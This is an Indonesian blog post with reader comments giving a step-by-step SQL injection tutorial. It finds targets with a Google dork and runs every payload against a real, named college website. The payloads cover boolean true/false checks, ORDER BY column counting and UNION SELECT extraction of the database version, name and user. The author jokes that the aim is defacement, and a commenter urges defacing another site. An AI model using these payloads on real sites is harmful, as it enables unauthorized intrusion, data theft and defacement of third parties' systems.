dah lama ni ga ngepost tentang dunia perhitaman (?)
oke, walopun baru mempelajari dikit tentang SQL injection, saya pengen bahas + ngasih dikit tutor tentang ginian (alaaah...)
jadi maab kalo rada bingung baca post saya berikut...soalnya saya yang bikin juga bingung.jiakakakakak....
opo sih SQL injection teh?
hmm...SQL injection merupakan teknik eksploitasi database via remote, dgn menggunakan SQL Query (perintah2 sql) buat mengetahui data2 target...dan tujuan akhirnya DEFACE! huhu...(ga juga deng)
ya pokoknya intinya gitu dah...
terus, gimana cara ngecek SQL Injection pada sebuah web? (ngecek site yang Vulnerable)
yang paling sering dipake ato digunakan para SQL INJECTOR (baca : DEFACER...jiakakaka) adalah dgn menggunakan command "AND 1=1" dan "AND 1=2"
1. AND 1=1 (kondisi true)
2. AND 1=2 (kondisi false)
berhubung yang saya tau cuma cara ini ya tutor-nya pake ini aja ya..hehe
okeh, kita langsung coba cari target kita
umm, cari site indo aja dah....coba pake dork digoogle-nya : "berita.php?id="
ambil salah satu deh ya...
http://www.amikbalikpapan.ac.id/Berita.php?id=5
nah, coba tambahin command diatas tadi buat ngecek SQL Injection-nya...jadi gini
1. http://www.amikbalikpapan.ac.id/Berita.php?id=5 AND 1=1
2. http://www.amikbalikpapan.ac.id/Berita.php?id=5 AND 1=2
apa beda url 1 ma 2? gini...
dalam kondisi AND 1=1 (true),dgn command ini halaman sitenya tidak akan mengalami perubahan, nah kalo pake kondisi AND 1=2 (false) halaman sitenya pasti akan berubah, biasanya sih bakal muncul pesan error gitu...nah kalo ada errorr-nya gitu berarti site ntu bisa di-eksploitasi dengan pake SQL Injection.
umm..untuk command false, biasanya bisa pake penambahan ' pada akhir url...biar lebih gampang. contohnya kaya gini :
http://www.amikbalikpapan.ac.id/Berita.php?id=5'
Next...
gimana cara cari jumlah table database web yang akan exploitasi ma sql injection?
yang saya tau aja ya...biasanya pake command order by
angka dibelakang command order by merupakan jumlah table-nya, kita cari satu per satu...mulai dari angka 1 :D, contohnya gini...
http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 1--
setelah di enter ternyata ga ada perubahan ini artinya halamannya masih dalam kondisi true, itu tandanya table site ini lebih dari 1. blom dapet jumlah tepat table-nya kan? langsung coba aja angka 10
http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 10--
wew..setelah dienter,halamannya error a.k.a berubah, ini berati site dlm kondisi false! apa artinya? tadi ambil angka 1 true....angka 10 false, berati jumlah table site ini antara 1-10 toh? hehe..bener ga? langkah selanjutnya? cari satu persatu dari 8 angka sisanya! :D
dicoba2 akhirnya dapet ni "batas"-nya...
1. http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 5--
2. http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 6--
yang pake angka 5, kondisi site masih true...sedangkan pas kita coba naekin ke 6, berubah jadi false!
ini membuktikan kalo jumlah database site target adalah 5! kita coba ganti perintahnya jadi union select....
1. http://www.amikbalikpapan.ac.id/Berita.php?id=5 UNION SELECT 1,2,3,4,5--
2. http://www.amikbalikpapan.ac.id/Berita.php?id=5 UNION SELECT 1,2,3,4,5,6--
setelah dicoba 1 per satu, kondisi true pada URL pertama dan kondisi false pada URL kedua kan?
terbukti! hehe...
next....magic number!
magic number adalah angka2 yang keluar pada halaman site, angka2 ini dipake buat disusupi SQL Query (command2 SQL).
nah, trus gimana cara dapetin magic numbernya?
salah satu caranya dengan nambahin tanda - didepan angka setelah variabel. contoh diatas yaitu angka 5. [Berita.php?id=-5]
http://www.amikbalikpapan.ac.id/Berita.php?id=-5 UNION SELECT 1,2,3,4,5--
enter dah!
angka2 berapa ajah yang keluar pada halaman site?
ada angka 2, 3 dan 4 kan?
nah...jadi angka2 ini yang akan kita pakai untuk memasukkan SQL Query [perintah2 SQL], dan dimasukkan + digantikan pada url tabel URL dari union select! ngerti? langsung aja deh...hehe
umm...ni beberapa SQL Query yg bakal dipake dan kegunaannya...
version() --> menampilkan versi dari database target
database() --> menampilkan database yang berada dalam target
user() --> menampilkan user yang berada dalam target
nah, buat cari versi, database dan user dari target...tinggal kita masukin deh...
dari yang tadinya :
http://www.amikbalikpapan.ac.id/Berita.php?id=-5 UNION SELECT 1,2,3,4,5--
diganti jadi...
http://www.amikbalikpapan.ac.id/Berita.php?id=-5 UNION SELECT 1,version(),database(),user(),5--
ngerti ga perubahannya? jadi gini...
angka yang keluar dari halaman site target tadi kan 2,3 dan 4. nah, istilah kasarnya..disinilah celah yang terbuka buat nambahin SQL Query! buat mengetahui data yang kita inginkan.
jadi magic number yang udah dikeluarin tadi diganti dengan perintah2 SQL...begitu.
langkah selanjutnya? enter...dan liat apa yang ada disitu..hehe
ya...segitu aja beberapa dasar dari SQL Injection dari sayah, blom berani bikin tutor buat bener2 ngebuka data tabel,data user+pass target dan tentu ngedeface-nya...hehe, blom pinter!
NB : cuman sekedar pengetahuan aja...jgn dipake macem2...kalo anda2 nemu bugs sql ato yang laennya...segera beritahu admin...jgn maen deface sendiri! :D xiixixix....
moga berguna....tengkyu.
salam dangdut, kurosystem...
7 komentar:
wis sangat berguna boss
saya juga dah lama menghilang dari dunia kaya ginian
dah setahun saya tinggalkan ternyata memang lupa semuanya :D
wah....
coba deface tu situs st3, hehe...
bakal kelabakan mereka ga....
Wah, tpi nyantei aja saya kan udat "TOBAT" heheh
@ihsan
hehe...iya, kalo ilmunya ga dipake lama2 malah ngeblur..ilang deh. hehe
@tjakrabirawa
haha...ga mao ah mas,,,ntar ketauan takut kena DO! hahahaahahahaha
@khamil
xixiix.....coba aja kalo sekedar nyari bugsnya mah gpp kalee..hehe
tes emoticon ah... :f:
wah keren nih tutorialnya. jadi lumayan ngerti sql injection skrg. Coz dulu beli buku ttg hacking isinya teori mulu dan ga step by step. Tp klo yg ini tutorialnya lebih jelas.
thanks yah. hehehe
makasih boss atas informasiny...
informasiny sangt berguna...
Posting Komentar